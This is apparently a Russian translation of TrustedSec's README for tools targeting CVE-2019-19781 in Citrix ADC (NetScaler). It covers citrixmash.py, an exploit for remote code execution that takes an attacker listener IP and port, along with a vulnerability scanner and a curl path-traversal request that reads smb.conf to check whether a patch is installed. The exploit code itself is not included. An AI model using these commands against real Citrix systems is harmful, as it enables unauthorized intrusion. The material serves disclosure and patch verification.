trustedsec/cve-2019-19781Это инструмент, опубликованный для уязвимости Citrix ADC (NetScaler). Мы раскрываем его только из-за того, что другие первыми опубликовали код эксплойта.
Этот код был загружен только из-за того, что другие исследователи опубликовали свой код первыми. Мы надеялись скрыть его подольше, чтобы у защитников было достаточно времени для установки исправлений.
Мы полностью за ответственное раскрытие, но в данном случае кошка уже вылезла из мешка.
Эксплойты: CVE-2019-19781
root@stronghold-nix:/home/relik/Desktop/git/cve-2019-19781# python citrixmash.py
Citrixmash v0.1 - Эксплуатирует уязвимость обхода каталогов Citrix: CVE-2019-19781 Инструмент написан: Rob Simon и Dave Kennedy Вклад: команда TrustedSec Веб-сайт: https://www.trustedsec.com INFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/ Криминалистика и IOC: https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/
Этот инструмент эксплуатирует уязвимость обхода каталогов в Citrix ADC (NetScaler), которая вызывает perl-скрипт, используемый для добавления файлов в формате XML на целевую машину. Это, в свою очередь, позволяет выполнить удалённый код.
Обязательно очистите следующие два расположения файлов: /var/tmp/netscaler/portal/templates/ /netscaler/portal/templates/
Обратите внимание, что в полях victimaddress и attackerip_listener поддерживаются DNS-имена хостов и IP-адреса.
Использование:
python citrixmash.py <attackerip_listener> <attacker_port>
usage: citrixmash.py [-h] target targetport attackerip attackerport
Это простой тест для проверки, уязвим ли сервер к CVE-2019-19781.
Использование: python3 cve-2019-19781.py
Обратите внимание, что можно использовать нотацию CIDR, например 192.168.1.1/24, а также имена хостов.
Результат покажет, уязвим ли сервер или нет. За один раз можно проверить только один сервер.
CVE-2019-19781-Scanner Компания: TrustedSec Написан: Dave Kennedy Этот инструмент проверяет, уязвима ли удалённая система к CVE-2019-19781. За один раз сканируется только один хост. Можно использовать нотацию CIDR, например: 192.168.1.1/24 Также можно использовать имена хостов вместо IP-адресов. Можно также использовать файл с IP-адресами, сгенерированный внешним инструментом.
Пример: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 Пример2: python3 cve-2019-19781_scanner.py 192.168.1.1 443 Пример3: python3 cve-2019-19781_scanner.py fakewebsiteaddress.com 443 Пример4: python3 cve-2019-19781_scanner.py as15169 443 Пример5: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 verbose Пример6: python3 cve-2019-19781_scanner.py file:hostfile 443
Использование: python3 cve-2019-19781_scanner.py targetip targetport
usage: cve-2019-19781_scanner.py [-h] target targetport [verbose]
Если вы хотите проверить, устранена ли эта уязвимость, выполните следующее:
curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is
Или, если вы используете непубличный или внутренний корпоративный ЦС, можно переопределить с помощью опции --insecure:
curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is --insecure
Код 403 означает, что исправление установлено; если же возвращается веб-сайт Citrix, а не сам файл smb.conf, это также признак исправления.
Если вы видите содержимое smb.conf, значит, система уязвима.
Для установки зависимостей выполните команду ниже:
pip3 install -r requirements.txt
